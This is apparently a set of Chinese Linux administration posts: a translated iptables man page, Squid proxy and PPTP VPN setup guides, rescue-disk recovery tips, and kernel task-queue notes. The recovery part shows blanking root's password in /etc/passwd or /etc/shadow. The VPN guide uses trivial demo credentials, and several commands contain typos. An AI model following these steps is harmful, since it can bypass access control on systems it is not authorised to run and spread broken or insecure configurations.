链都是一个规则列表,对对应的包进行匹配:每条规则指定应当如何处理与之相



匹配的包。这被称作’target’(目标),也可以跳向同一个表内的用户定义的链







TARGETS


防火墙的规则指定所检查包的特征,和目标。如果包不匹配,将送往该链中下一



条规则检查;如果匹配,那么下一条规则由目标值确定.该目标值可以是用户定义



的链名,或是某个专用值,如ACCEPT[通过], DROP[删除], QUEUE[排队], 或者



RETURN[返回]。


ACCEPT 表示让这个包通过。DROP表示将这个包丢弃。QUEUE表示把这个包传递到



用户空间。RETURN表示停止这条链的匹配,到前一个链的规则重新开始。如果到



达了一个内建的链(的末端),或者遇到内建链的规则是RETURN,包的命运将由链



准则指定的目标决定。



TABLES


当前有三个表(哪个表是当前表取决于内核配置选项和当前模块)。


-t table


这个选项指定命令要操作的匹配包的表。如果内核被配置为自动加载模块,这时



若模块没有加载,(系统)将尝试(为该表)加载适合的模块。这些表如下:filter,



这是默认的表,包含了内建的链INPUT(处理进入的包)、FORWORD(处理通过的



包)和OUTPUT(处理本地生成的包)。nat,这个表被查询时表示遇到了产生新的



连接的包,由三个内建的链构成:PREROUTING (修改到来的包)、OUTPUT(修改路



由之前本地的包)、POSTROUTING(修改准备出去的包)。mangle 这个表用来对



指定的包进行修改。它有两个内建规则:PREROUTING(修改路由之前进入的包)



和OUTPUT(修改路由之前本地的包)。


OPTIONS


这些可被iptables识别的选项可以区分不同的种类。



COMMANDS


这些选项指定执行明确的动作:若指令行下没有其他规定,该行只能指定一个选项



.对于长格式的命令和选项名,所用字母长度只要保证iptables能从其他选项中区



分出该指令就行了。


-A -append


在所选择的链末添加一条或更多规则。当源(地址)或者/与 目的(地址)转换



为多个地址时,这条规则会加到所有可能的地址(组合)后面。



-D -delete


从所选链中删除一条或更多规则。这条命令可以有两种方法:可以把被删除规则



指定为链中的序号(第一条序号为1),或者指定为要匹配的规则。



-R -replace


从选中的链中取代一条规则。如果源(地址)或者/与 目的(地址)被转换为多



地址,该命令会失败。规则序号从1开始。



-I -insert


根据给出的规则序号向所选链中插入一条或更多规则。所以,如果规则序号为1,



规则会被插入链的头部。这也是不指定规则序号时的默认方式。



-L -list


显示所选链的所有规则。如果没有选择链,所有链将被显示。也可以和z选项一起



使用,这时链会被自动列出和归零。精确输出受其它所给参数影响。



-F -flush


清空所选链。这等于把所有规则一个个的删除。



–Z -zero


把所有链的包及字节的计数器清空。它可以和 -L配合使用,在清空前察看计数器



,请参见前文。



-N -new-chain


根据给出的名称建立一个新的用户定义链。这必须保证没有同名的链存在。



-X -delete-chain


删除指定的用户自定义链。这个链必须没有被引用,如果被引用,在删除之前你



必须删除或者替换与之有关的规则。如果没有给出参数,这条命令将试着删除每



个非内建的链。




-P -policy


设置链的目标规则。



-E -rename-chain


根据用户给出的名字对指定链进行重命名,这仅仅是修饰,对整个表的结构没有



影响。TARGETS参数给出一个合法的目标。只有非用户自定义链可以使用规则,而



且内建链和用户自定义链都不能是规则的目标。



-h Help.


帮助。给出当前命令语法非常简短的说明。



PARAMETERS


参数


以下参数构成规则详述,如用于add、delete、replace、append 和 check命令。



-p -protocal [!]protocol


规则或者包检查(待检查包)的协议。指定协议可以是tcp、udp、icmp中的一个或



者全部,也可以是数值,代表这些协议中的某一个。当然也可以使用在/etc/prot



ocols中定义的协议名。在协议名前加上”!”表示相反的规则。数字0相当于所有al



l。Protocol all会匹配所有协议,而且这是缺省时的选项。在和check命令结合



时,all可以不被使用。


-s -source [!] address[/mask]


指定源地址,可以是主机名、网络名和清楚的IP地址。mask说明可以是网络掩码



或清楚的数字,在网络掩码的左边指定网络掩码左边”1″的个数,因此,mask值为



24等于255.255.255.0。在指定地址前加上”!”说明指定了相反的地址段。标志



–src 是这个选项的简写。



-d –destination [!] address[/mask]


指定目标地址,要获取详细说明请参见 -s标志的说明。标志 –dst 是这个选项



的简写。



-j –jump target


-j 目标跳转


指定规则的目标;也就是说,如果包匹配应当做什么。目标可以是用户自定义链



(不是这条规则所在的),某个会立即决定包的命运的专用内建目标,或者一个



扩展(参见下面的EXTENSIONS)。如果规则的这个选项被忽略,那么匹配的过程



不会对包产生影响,不过规则的计数器会增加。



-i -in-interface [!] [name]


i -进入的(网络)接口 [!][名称]


这是包经由该接口接收的可选的入口名称,包通过该接口接收(在链INPUT、FORW



ORD和PREROUTING中进入的包)。当在接口名前使用”!”说明后,指的是相反的名



称。如果接口名后面加上”+”,则所有以此接口名开头的接口都会被匹配。如果这



个选项被忽略,会假设为”+”,那么将匹配任意接口。



-o –out-interface [!][name]


-o –输出接口[名称]


这是包经由该接口送出的可选的出口名称,包通过该口输出(在链FORWARD、OUTP



UT和POSTROUTING中送出的包)。当在接口名前使用”!”说明后,指的是相反的名



称。如果接口名后面加上”+”,则所有以此接口名开头的接口都会被匹配。如果这



个选项被忽略,会假设为”+”,那么将匹配所有任意接口。



[!] -f, –fragment


[!] -f –分片


这意味着在分片的包中,规则只询问第二及以后的片。自那以后由于无法判断这



种把包的源端口或目标端口(或者是ICMP类型的),这类包将不能匹配任何指定



对他们进行匹配的规则。如果”!”说明用在了”-f”标志之前,表示相反的意思。



OTHER OPTIONS


其他选项


还可以指定下列附加选项:



-v –verbose


-v –详细


详细输出。这个选项让list命令显示接口地址、规则选项(如果有)和TOS(Type



of Service)掩码。包和字节计数器也将被显示,分别用K、M、G(前缀)表示1000



、1,000,000和1,000,000,000倍(不过请参看-x标志改变它),对于添加,插入,



删除和替换命令,这会使一个或多个规则的相关详细信息被打印。



-n –numeric


-n –数字


数字输出。IP地址和端口会以数字的形式打印。默认情况下,程序试显示主机名



、网络名或者服务(只要可用)。



-x -exact


-x -精确


扩展数字。显示包和字节计数器的精确值,代替用K,M,G表示的约数。这个选项仅



能用于 -L 命令。



–line-numbers


当列表显示规则时,在每个规则的前面加上行号,与该规则在链中的位置相对应







MATCH EXTENSIONS


对应的扩展


iptables能够使用一些与模块匹配的扩展包。以下就是含于基本包内的扩展包,



而且他们大多数都可以通过在前面加上!来表示相反的意思。



tcp


当 –protocol tcp 被指定,且其他匹配的扩展未被指定时,这些扩展被装载。它



提供以下选项:



–source-port [!] [port[:port]]


源端口或端口范围指定。这可以是服务名或端口号。使用格式端口:端口也可以



指定包含的(端口)范围。如果首端口号被忽略,默认是”0″,如果末端口号被忽



略,默认是”65535″,如果第二个端口号大于第一个,那么它们会被交换。这个选



项可以使用 –sport的别名。



–destionation-port [!] [port:[port]]


目标端口或端口范围指定。这个选项可以使用 –dport别名来代替。



–tcp-flags [!] mask comp


匹配指定的TCP标记。第一个参数是我们要检查的标记,一个用逗号分开的列表,



第二个参数是用逗号分开的标记表,是必须被设置的。标记如下:SYN ACK FIN



RST URG PSH ALL NONE。因此这条命令:iptables -A FORWARD -p tcp



–tcp-flags SYN, ACK, FIN, RST



SYN只匹配那些SYN标记被设置而ACK、FIN和RST标记没有设置的包。



[!] –syn


只匹配那些设置了SYN位而清除了ACK和FIN位的TCP包。这些包用于TCP连接初始化



时发出请求;例如,大量的这种包进入一个接口发生堵塞时会阻止进入的TCP连接



,而出去的TCP连接不会受到影响。这等于 –tcp-flags SYN, RST, ACK SYN。如



果”–syn”前面有”!”标记,表示相反的意思。



–tcp-option [!] number


匹配设置了TCP选项的。



udp


当protocol udp 被指定,且其他匹配的扩展未被指定时,这些扩展被装载,它提供



以下选项:



–source-port [!] [port:[port]]


源端口或端口范围指定。详见 TCP扩展的–source-port选项说明。



–destination-port [!] [port:[port]]


目标端口或端口范围指定。详见 TCP扩展的–destination-port选项说明。



icmp


当protocol icmp被指定,且其他匹配的扩展未被指定时,该扩展被装载。它提供以



下选项:


–icmp-type [!] typename


这个选项允许指定ICMP类型,可以是一个数值型的ICMP类型,或者是某个由命令i



ptables -p icmp -h所显示的ICMP类型名。



mac


–mac-source [!] address


匹配物理地址。必须是XX:XX:XX:XX:XX这样的格式。注意它只对来自以太设备并



进入PREROUTING、FORWORD和INPUT链的包有效。



limit


这个模块匹配标志用一个标记桶过滤器一一定速度进行匹配,它和LOG目标结合使



用来给出有限的登陆数.当达到这个极限值时,使用这个扩展包的规则将进行匹配.



(除非使用了”!”标记)



–limit rate


最大平均匹配速率:可赋的值有’/second’, ‘/minute’, ‘/hour’, or ‘/day’这



样的单位,默认是3/hour。



–limit-burst number


待匹配包初始个数的最大值:若前面指定的极限还没达到这个数值,则概数字加1.



默认值为5



multiport


这个模块匹配一组源端口或目标端口,最多可以指定15个端口。只能和-p tcp 或



者 -p udp 连着使用。



–source-port [port[, port]]


如果源端口是其中一个给定端口则匹配



–destination-port [port[, port]]


如果目标端口是其中一个给定端口则匹配



–port [port[, port]]


若源端口和目的端口相等并与某个给定端口相等,则匹配。


mark


这个模块和与netfilter过滤器标记字段匹配(就可以在下面设置为使用MARK标记



)。



–mark value [/mask]


匹配那些无符号标记值的包(如果指定mask,在比较之前会给掩码加上逻辑的标



记)。



owner


此模块试为本地生成包匹配包创建者的不同特征。只能用于OUTPUT链,而且即使



这样一些包(如ICMP ping应答)还可能没有所有者,因此永远不会匹配。



–uid-owner userid


如果给出有效的user id,那么匹配它的进程产生的包。



–gid-owner groupid


如果给出有效的group id,那么匹配它的进程产生的包。



–sid-owner seessionid


根据给出的会话组匹配该进程产生的包。



state


此模块,当与连接跟踪结合使用时,允许访问包的连接跟踪状态。



–state state


这里state是一个逗号分割的匹配连接状态列表。可能的状态是:INVALID表示包是



未知连接,ESTABLISHED表示是双向传送的连接,NEW表示包为新的连接,否则是



非双向传送的,而RELATED表示包由新连接开始,但是和一个已存在的连接在一起



,如FTP数据传送,或者一个ICMP错误。



unclean


此模块没有可选项,不过它试着匹配那些奇怪的、不常见的包。处在实验中。



tos


此模块匹配IP包首部的8位tos(服务类型)字段(也就是说,包含在优先位中)







–tos tos


这个参数可以是一个标准名称,(用iptables -m tos -h 察看该列表),或者数



值。



TARGET EXTENSIONS


iptables可以使用扩展目标模块:以下都包含在标准版中。



LOG


为匹配的包开启内核记录。当在规则中设置了这一选项后,linux内核会通过prin



tk()打印一些关于全部匹配包的信息(诸如IP包头字段等)。


–log-level level


记录级别(数字或参看 syslog.conf(5))。


–log-prefix prefix


在纪录信息前加上特定的前缀:最多14个字母长,用来和记录中其他信息区别。



–log-tcp-sequence


记录TCP序列号。如果记录能被用户读取那么这将存在安全隐患。



–log-tcp-options


记录来自TCP包头部的选项。


–log-ip-options


记录来自IP包头部的选项。



MARK


用来设置包的netfilter标记值。只适用于mangle表。



–set-mark mark



REJECT


作为对匹配的包的响应,返回一个错误的包:其他情况下和DROP相同。



此目标只适用于INPUT、FORWARD和OUTPUT链,和调用这些链的用户自定义链。这



几个选项控制返回的错误包的特性:



–reject-with type


Type可以是icmp-net-unreachable、icmp-host-unreachable、icmp-port-nreach



able、icmp-proto-unreachable、 icmp-net-prohibited 或者



icmp-host-prohibited,该类型会返回相应的ICMP错误信息(默认是port-unreac



hable)。选项 echo-reply也是允许的;它只能用于指定ICMP ping包的规则中,



生成ping的回应。最后,选项tcp-reset可以用于在INPUT链中,或自INPUT链调用



的规则,只匹配TCP协议:将回应一个TCP RST包。


TOS


用来设置IP包的首部八位tos。只能用于mangle表。



–set-tos tos


你可以使用一个数值型的TOS 值,或者用iptables -j TOS -h 来查看有效TOS名



列表。


MIRROR


这是一个试验示范目标,可用于转换IP首部字段中的源地址和目标地址,再传送



该包,并只适用于INPUT、FORWARD和OUTPUT链,以及只调用它们的用户自定义链。



SNAT


这个目标只适用于nat表的POSTROUTING链。它规定修改包的源地址(此连接以后



所有的包都会被影响),停止对规则的检查,它包含选项:



–to-source <ipaddr>[-<ipaddr>][:port-port]


可以指定一个单一的新的IP地址,一个IP地址范围,也可以附加一个端口范围(



只能在指定-p tcp 或者-p udp的规则里)。如果未指定端口范围,源端口中512



以下的(端口)会被安置为其他的512以下的端口;512到1024之间的端口会被安



置为1024以下的,其他端口会被安置为1024或以上。如果可能,端口不会被修改







–to-destiontion <ipaddr>[-<ipaddr>][:port-port]


可以指定一个单一的新的IP地址,一个IP地址范围,也可以附加一个端口范围(



只能在指定-p tcp 或者-p udp的规则里)。如果未指定端口范围,目标端口不会



被修改。



MASQUERADE


只用于nat表的POSTROUTING链。只能用于动态获取IP(拨号)连接:如果你拥有



静态IP地址,你要用SNAT。伪装相当于给包发出时所经过接口的IP地址设置一个



映像,当接口关闭连接会终止。这是因为当下一次拨号时未必是相同的接口地址



(以后所有建立的连接都将关闭)。它有一个选项:



–to-ports <port>[-port>]


指定使用的源端口范围,覆盖默认的SNAT源地址选择(见上面)。这个选项只适



用于指定了-p tcp或者-p udp的规则。



REDIRECT


只适用于nat表的PREROUTING和OUTPUT链,和只调用它们的用户自定义链。它修改



包的目标IP地址来发送包到机器自身(本地生成的包被安置为地址127.0.0.1)。



它包含一个选项:



–to-ports <port>[<port>]


指定使用的目的端口或端口范围:不指定的话,目标端口不会被修改。只能用于



指定了-p tcp 或 -p udp的规则。



DIAGNOSTICS


诊断


不同的错误信息会打印成标准错误:退出代码0表示正确。类似于不对的或者滥用



的命令行参数错误会返回错误代码2,其他错误返回代码为1。



BUGS


臭虫


Check is not implemented (yet).


检查还未完成。



COMPATIBILITY WITH IPCHAINS


与ipchains的兼容性


iptables和Rusty Russell的ipchains非常相似。主要区别是INPUT 链只用于进入



本地主机的包,而OUTPUT只用于自本地主机生成的包。因此每个包只经过三个链的



一个;以前转发的包会经过所有三个链。其他主要区别是 -i 引用进入接口;-o



引用输出接口,两者都适用于进入FORWARD链的包。当和可选扩展模块一起使用默



认过滤器表时,iptables是一个纯粹的包过滤器。这能大大减少以前对IP伪装和



包过滤结合使用的混淆,所以以下选项作了不同的处理:


-j MASQ


-M -S


-M -L


在iptables中有几个不同的链。



SEE ALSO


参见


iptables-HOWTO有详细的iptables用法,对netfilter-hacking-HOWTO也有详细的



本质说明。



AUTHORS


作者



Rusty Russell wrote iptables, in early consultation with Michael



Neuling.


Marc Boucher made Rusty abandon ipnatctl by lobbying for a generic



packet selection framework in iptables, then wrote the mangle table,



the owner match, the mark stuff, and ranaround doing cool stuff



everywhere.


James Morris wrote the TOS target, and tos match.


Jozsef Kadlecsik wrote the REJECT target.


The Netfilter Core Team is: Marc Boucher, Rusty Russell.

squid是一款功能十分强大的代理服务器软件,这里我把我的配置过程公布出来供大家参考。


一、安装squid


我的配置环境是FC2,在安装时安装了squid的RPM包,可以用:rpm -q squid来进行查询。这里建议把RPM包卸掉,去官方网站下载最新的原码包。卸载命令:


rpm -e squid。


目前官方网站最近的版本为:squid-2.5.STABLE7,下载了squid-2.5.STABLE7.tar.gz后先解压:tar -vxzf squid-2.5.STABLE7.tar.gz


然后进入squid-2.5.STABLE7目录,进行编译:./configure 这里有很多选项,大家可以参考./configure –help里的说明,我编译的时候有没带选项。然后


make all


make install


OK,squid的安装完成了


二、配置


如果在configure时没在加安装目录的选项,那么默认会安装在/usr/local/squid的目录下。


修改配置文件/usr/local/squid/etc/squid.conf


修改如下:


http_port 8080


代理端口改成8080


cache_effective_user squid


更改squid的进程用户,这里说明一下,默认安装这里是nobody权限,这样会导致启动不成功,因为nobody权限不能写cache和log文件,
因为在系统安装时装了squid的rpm包,所以有一个squid的用户,在/etc/passwd里可以找到,如果没有这个帐号最好是添加一个,强烈建
议不要把root权限给squid,


visible_hostname xinhe


设置主机名,这个默认配置没有,必须添加,否则无法启动。


将/usr/local/squid目录的所以都改为squid


chown squid:squid -R /usr/local/squid


然后启动squid测式一下,


/use/local/squid/sbin/suqid -z


-z 是为了创建cache目录


如果这里失败的话请回到上一步检查权限问题,要确保squid在/use/local/suqid/var目录有写权限。


如果成功的话会提示创建cache目录成功


再运行


/use/local/squid/sbin/squid


检查 /use/local/squid/sbin/squid/var/下的cache目录和logs目录下的日志文件是否正确创建,再运行


netstat -an |grep LISTEN


看代理端口8080是否在监听,如果在,就证在squid成功运行了,否则请在logs下的日志文件里找一下原因。


这样,squid的配置是算完成了(这里用的是最简单的配置)


三、添加认证功能


squid自身不带认证功能,需要另外的软件来支持认证,可以选mysql,smb,LDAP,ncsa等,从squid2.5开始都包含了ncsa的模块


我们再回到最开始解压的目录:squid-2.5.STABLE7


在helpers/basic_auth/NCSA目录下找到ncsa_auth文件。


注意:如果你在开始编译的时候用的是:make all的话就会有这个会件,否则,需要在这个目录下单独编译


把这个文件拷贝到/usr/bin目录下


cp ./ncsa_auth /usr/bin


下一步开始创建认证用户和密码


htpasswd -c /usr/local/squid/etc/password guest


如果是以后添加用户的话就把-c的参数去掉


然后再更改/use/local/squid/etc/squid.conf文件


auth_param basic program /usr/bin/ncsa_auth /usr/local/squid/etc/password


配置认证文件和用户文件


auth_param basic children 5


指定认证程序的进程数


auth_param basic realm Squid proxy-caching web server


代理服务器的名称


auth_param basic credentialsttl 2 hours


认证有效时间为2小时


acl normal proxy_auth REQUIRED


http_access allow normal


只有认证用户才能访问



OK 重启squid服务,


在浏览器里配上这个代理,打开任意网站,如果弹出了输入用户名和密码的对话框,就证明OK了



后记:squid.conf还可以配置很多东西,比如限制访问时间,访问IP等


大家多看说明文档。

经过大半天的拆腾,终于把VPN服务器搞定了,现将具本过程公布出来供大家参考


一、配置环境


Linux(2.6.7)(FC2)


eth0: 192.168.1.8


eth0:1 192.168.0.1 (手工添加)


二、所需软件


1、kernel_ppp_mppe-0.0.4-2dkms.noarch.rpm (MPPE的内核补丁)


2、dkms-1.12-1.noarch.rpm (升级dkms)


3、pptpd-1.2.1.tar.gz (pptpd服务软件)


注:系统必须安装了PPP服务,否则要单独安装


三、安装软件


1、首先安装dkms


rpm -Uvh dkms-1.12-1.noarch.rpm (升级安装)


2、安装mppe


rpm -Uvh kernel_ppp_mppe-0.0.4-2dkms.noarch.rpm


3、安装pptpd


tar -vxzf pptpd-1.2.1.tar.gz


cd pptpd-1.2.1


./configure


make


make install


安装完成了,现在开始配置


四、配置服务器


将pptpd-1.2.1/samples/下的文件


pptpd.conf 拷贝至/etc下


chap-secrets 拷贝至/etc/ppp下


options.pptpd 拷贝至/etc/ppp下


修改pptpd.conf文件:


ppp /usr/sbin/pppd


指定PPP服务程序


option /etc/ppp/options.pptpd


指定选项配置


localip 192.168.1.8


指定本地IP


remoteip 192.168.0.10-245


指定分配的远程IP


netmask 255.255.255.0


指定子网掩码



修改/etc/ppp/options.pptpd文件


name pptpd


auth


require-chap


-chap


-mschap


+mschap-v2


require-mppe


lcp-echo-failure 30


lcp-echo-interval 5


ipcp-accept-local


ipcp-accept-remote


multilink


proxyarp


logfd 2


logfile /var/log/pptpd.log


debug


dump


lock



修改/etc/ppp/chap-secrets文件


# client server secret IP addresses


#username pptpd password *


“xinhe” pptpd “xinhe” *


这里是配置VPN的用户帐号



启动服务:


/usr/local/sbin/pptpd


然后用netstat查看一下1723端口是不是开的,如果是的话则说明服务已成功启动。


找一台windows的机器,IP为:192.166.1.7,新建一个VPN的连接,服务器为192.168.1.8,用户名为:xinhe,密码为:xinhe,可以成功连接了。


在windows的cmd下运行:ipconfig


看到多了一个网络连接,IP为:192.168.0.10,正是前是配置文件里设置的远程IP,这样这台windows的客户端成功连上了这个VPN服务器


但是这里出现了一个问题,原来这台windows机器可以通过网关192.168.1.1上网,但连了VPN之后就不能上网了。因为数据全到VPN服务器上来了,为解决这个问题,我们可利用iptables发数据转发。


新建一个iptables文件,内容如下:


echo 1 > /proc/sys/net/ipv4/ip_forward


echo “clear the iptables rules”


/etc/init.d/iptables stop


/sbin/iptables -A INPUT -p icmp -j DROP


/sbin/iptables -t nat -A POSTROUTING -s 192.168.1.0/24 -j MASQUERADE


/sbin/iptables -F FORWARD


/sbin/iptables -P FORWARD ACCEPT



/sbin/iptables -t nat -A POSTROUTING -j MASQUERADE


/sbin/iptables -F FORWARD


/sbin/iptables -A FORWARD -p udp -s 192.168.1.0/24 –dport 53 -j ACCEPT


/sbin/iptables -A FORWARD -p tcp -s 192.168.1.0/24 –dport 1723 -j ACCEPT


/sbin/iptables -A FORWARD -p gre -s 192.168.1.0/24 -j ACCEPT


/sbin/iptables -A FORWARD -m state –state ESTABLISHED,RELATED -j ACCEPT



然后执行这个iptables文件,OK,windows的客户机可以上网了

Linux系统常见几种紧急情况的处理方法



1.使用急救盘组进行维护



急救盘组(也称为boot/root盘组),是系统管理员必不可少的工具。用它可以独立地启动和运行一个完整的Linux系统。实际 上,急救盘组中的第2张盘上就有一个完整的Linux系统,包括root文件系统;而第1张盘则存放了可启动的内核。



使用急救盘组维护系统很简单。只需用这两张盘启动系统后,进入急救模式,这时使用的是root账户。为了能访问硬盘上的文件,需要手工安装硬盘文件系统。例如,用下面的命令可在/mnt目录中安装/dev/hda2盘上的ext2fs类型的Linux文件系统:



  # monut -t ext2/dev/hda2/mnt



注:现在根目录是急救盘上的根目录。为了访问硬盘文件系统中的文件,必须先把它安装到某个目录下。这样,如果将硬盘上文件系统安装在/mmt目录下,则硬盘上原来的/etc/passwd文件的路径就是/mnt/etc/passwd



2、文件系统被破坏时的处理方法



当文件系统被破坏时,如果使用的是ext2fs类型的文件系统,就可从软盘运e2fsck命令来修正文件系统中被损坏的数据。对于其他类型的文件系统,可以使用相应的fsck命令。 当从软盘上检查文件系统时,最好不要mount安装



注:文件系统被破坏的常见原因是超级块被损坏,超级块是文件系统的“头部”。它包含文件系统的状态、尺寸和空闲磁盘块等信息。如果损坏了一个文件系统的超
级块(例如不小心直接将数据写到了文件系统的超级块分区中),那么系统可能会完全不识别该文件系统,这样也就不能安装它了,即使采用e2fsck
命令也不能处理这个问题。



不过,ext2fs类型的文件系统将超级块的内容进行了备份,并存放于驱动程序的块组(block group)边界。可以用如下的命令通知e2fsck使用超级块的备份


 


  # e2fsck -b 8193



是指文件系统所在的分区,-b 8193选项用于显示使用存放在文件系统中的8193块的超级块的备份数据



3、恢复丢失的文件



如果不小心删除了重要的文件,那么没有办法直接恢复。但是还可以将相应的文件从急救盘复制到硬盘上。例如,如果删除了文件/bin/login,此时系统无法正常进到登录界面,可以用急救盘组启动系统,将硬盘文件系统安装到/mnt目录下,然后使用下述命令:


  


  #cp -a /bin/login /mnt/bin



“-a”选项用于告诉cp在拷贝时保持文件的访问权限。 当然如果被删除的基本文件不在“急救盘组”中,也就不能用这种方法了。如果以前做过系统备份的话,那么也可以用以前的备份来恢复。



4.函数库破坏时的处理方法



如果不小心将系统函数库文件破坏了,或者破坏了/lib目录下符号链接,那么将导致依赖这些库的命令无法执行。最简单的解决办法是用急救盘组启动系统,在/mnt目录中安装硬盘文件系统,然后修复/mnt/lib目录下的库。



5、无法用root账号登录系统



由于系统管理员的疏忽,或者由于系统受到黑客的入侵,系统管理员可能无法用root帐号登录系统。   


对于第1种情况,可能是系统管理员忘记了root密码,用急救盘组就可以解决问题。



对于第2种情况,由于很可能是密码被黑客修改了,因此系统管理员无法进入系统,也就是说,Linux系统完全失去了控制,因此应尽快重新获得系统的控制权。在取得 root权限后,还应检查系统被破坏的情况,以防被黑客再次入侵。



需要做的最主要的工作就是重新设置root的密码,获得Linux操作系统的控制权。首先用急救盘组启动系统,然后将硬盘的文件系统安装到/mnt目录下,编辑/mnt/etc/passwd文件,将其对应于root账户的一行加密口令域置空,如下所示:



  root::0:0:root:/root:bin/bash



注: 如果系统使用 shadow工具,就需要对文件/etc/shadow进行上述的操作,使root登录系统不需要口令。



这样,root账户就没有口令了。当重新从硬盘启动Linux系统时,就可以用root账户登录(系统不会要求输入密码)。进入系统后,再用命令passwd设置新的口令。



6、Linux系统不能启动



一般来说,如果系统管理员不能正常进入系统,就需要考虑使用急救盘组进入急救模式排除系统的故障。但在没有制作急救盘组的情况下,Linux系统不能启动,该怎么办?


在个人计算机使用 Linux系统时,通常都是Linux和MS Windows 9x或MS Windows
NT并存的。由于重新安装其他的操作系统,经常会导致原有的Linux不能启动。这主要是因为,这些操作系统默认为计算机中没有其他的操作系统,因而改写
了硬盘的主引导记录(MBR),冲掉了Linux的LILO系统引导程序。



如果有急救盘组,那么很简单,用第一张启动盘启动硬盘的Linux系统,重新运行LILO命令,就可以将LILO系统引导程序写回硬盘的主引导记录。再次开机即可。


如果没有系统启动盘,怎样恢复硬盘上的Linux呢?在这种情况下,如果知道Linux在硬盘上的确切安装分区,且有loadlin程序,就可以
重新返回Linux。 loadlin程序是DOS下的程序,运行它可以从DOS下直接启动Linux,快速进入Linux环境。在 Red Hat
Linux 6.0光盘的 dosutil/目录下就有这个程序。除此之外,还需要一个 Linux启动内核的映像文件。在 Red Hat
linux 6.0光盘的 images/目录下有这个文件——vmlinuz。



例如,在Windows 98系统下面,进入DOS的单用户模式,然后运行下述的loadlin命令,即可重新进入Linux系统:



  loadlin vmlinuz root=/dev/hda8



/dev/hda8是Linux的root文件系统所在的硬盘分区位置。命令执行后,就引导Linux系统。用root登录后,运行LILO命令,则重新将LILO装入MBR,回到以前多操作系统并存使用的状态。

6.4 任务队列Task Queue


任务队列是与Bottom Half机制紧密相连的。因为Bottom Half机制只有有限的32个函数指针,而且大部分都已被系统预定义使用,所以早期版本的Linux内核为了扩展Bottom Half机制,就设计了任务队列机制。


所谓任务队列就是指以双向队列形式连接起来的任务链表,每一个链表元数都描述了一个可执行的任务(以函数的形式表现)。如下图所示:



任务队列机制实现在include/linux/tqueue.h头文件中。



6.4.1 数据结构的定义


Linux用数据结构tq_struct来描述任务队列中的每一个链表元数(即一个可执行的任务):


struct tq_struct {


struct list_head list; /* linked list of active bh’s */


unsigned long sync; /* must be initialized to zero */


void (*routine)(void *); /* function to call */


void *data; /* argument to function */


};


这个数据结构很简单,在此就不详述。


然后,Linux定义了数据结构task_queue来描述任务队列的头部,其实task_queue就是结构类型list_head,如下:


typedef struct list_head task_queue;



但是Linux又定义了一个宏DECLARE_TASK_QUEUE()来辅助我们更方便地定义任务队列的链表表头:


#define DECLARE_TASK_QUEUE(q) LIST_HEAD(q)



一个任务队列是否处于active状态主要取决于其链表表头(即task_queue结构)是否为空,因此Linux定义宏TQ_ACTIVE()来判断一个任务队列是否有效:


#define TQ_ACTIVE(q) (!list_empty(&q))


显然,只要任务队列表头q不为空,该任务队列就是有效的。



6.4.2 向任务队列中插入一个新任务


(1)保护自旋锁


由于任务队列是系统全局的共享资源,所以面临竞争的问题。为了实现对任务队列链表的互斥访问,Linux在kernel/timer.c文件中定义了一个任务队列保护自旋锁tqueue_lock,如下:


spinlock_t tqueue_lock = SPIN_LOCK_UNLOCKED;


该自旋锁在tqueue.h头文件中也有原型声明:


extern spinlock_t tqueue_lock;


任何想要访问任务队列的代码都首先必须先持有该自旋锁。



(2)queue_task()函数


实现在tqueue.h头文件中的内联函数queue_task()用来将一个指定的任务添加到某指定的任务队列的尾部,如下:


/*


* Queue a task on a tq. Return non-zero if it was successfully


* added.


*/


static inline int queue_task(struct tq_struct *bh_pointer, task_queue *bh_list)


{


int ret = 0;


if (!test_and_set_bit(0,&bh_pointer->sync)) {


unsigned long flags;


spin_lock_irqsave(&tqueue_lock, flags);


list_add_tail(&bh_pointer->list, bh_list);


spin_unlock_irqrestore(&tqueue_lock, flags);


ret = 1;


}


return ret;


}



6.4.3 运行任务队列


函数run_task_queue()用于实现指定的任务队列。它只有一个参数:指针list——指向待运行的任务队列头部task_queue结构变量。该函数实现在tqueue.h头文件中:


static inline void run_task_queue(task_queue *list)


{


if (TQ_ACTIVE(*list))


__run_task_queue(list);


}


显然,函数首先调用宏TQ_ACTIVE()来判断参数list指定的待运行任务队列是否为空。如果不为空,则调用__run_task_queue()函数来实际运行这个有效的任务队列。


函数__run_task_queue()实现在kernel/softirq.c文件中。该函数将依次遍历任务队列中的每一个元数,并调用执行每一个元数的可执行函数。其源码如下:


void __run_task_queue(task_queue *list)


{


struct list_head head, *next;


unsigned long flags;



spin_lock_irqsave(&tqueue_lock, flags);


list_add(&head, list);


list_del_init(list);


spin_unlock_irqrestore(&tqueue_lock, flags);



next = head.next;


while (next != &head) {


void (*f) (void *);


struct tq_struct *p;


void *data;



p = list_entry(next, struct tq_struct, list);


next = next->next;


f = p->routine;


data = p->data;


wmb();


p->sync = 0;


if (f)


f(data);


}


}


对该函数的注释如下:


(1)首先,用一个局部的表头head来代替参数list所指向的表头。这是因为:在__run_task_queue()函数的运行期间可能还会有新的
任务加入到list任务队列中来,但是__run_task_queue()函数显然不想陷入无休止的不断增加的任务处理中,因此它用局部的表头
head来代替参数list所指向的表头,以使要执行的任务个数固定化。为此:①先对全局的自旋锁tqueue_lock进行加锁,以实现对任务队列的互
斥访问;②将局部的表头head加在表头(*list)和第一个元数之间。③将(*list)表头从队列中去除,并将其初始化为空。④解除自旋锁
tqueue_lock。


(2)接下来,用一个while循环来遍历整个队列head,并调用执行每一个队列元素中的函数。注意!任务队列是一个双向循环队列。



6.4.4 内核预定义的任务队列


Bottom Half机制与任务队列是紧密相连的。大多数BH函数都是通过调用run_task_queue()函数来执行某个预定义好的任务队列。最常见的内核预定义任务队列有:


l tq_timer:对应于TQUEUE_BH。


l tq_immediate:对应于IMMEDIATE_BH。


l tq_disk:用于块设备任务。



任务队列tq_timer和tq_immediate都定义在kernel/timer.c文件中,如下所示:


DECLARE_TASK_QUEUE(tq_timer);


DECLARE_TASK_QUEUE(tq_immediate);


BH向量TQUEUE_BH和IMMEDIATE_BH的BH函数分别是:queue_bh()函数和immediate_bh()函数,它们都
仅仅是简单地调用run_task_queue()函数来分别运行任务队列tq_timer和tq_immediate,如下所示
(kernel/timer.c):


void tqueue_bh(void)


{


run_task_queue(&tq_timer);


}



void immediate_bh(void)


{


run_task_queue(&tq_immediate);


}

6.3 Bottom Half机制


Bottom
Half机制在新的softirq机制中被保留下来,并作为softirq框架的一部分。其实现也似乎更为复杂些,因为它是通过tasklet机制这个中
介桥梁来纳入softirq框架中的。实际上,软中断向量HI_SOFTIRQ是内核专用于执行BH函数的。



6.3.1 数据结构的定义

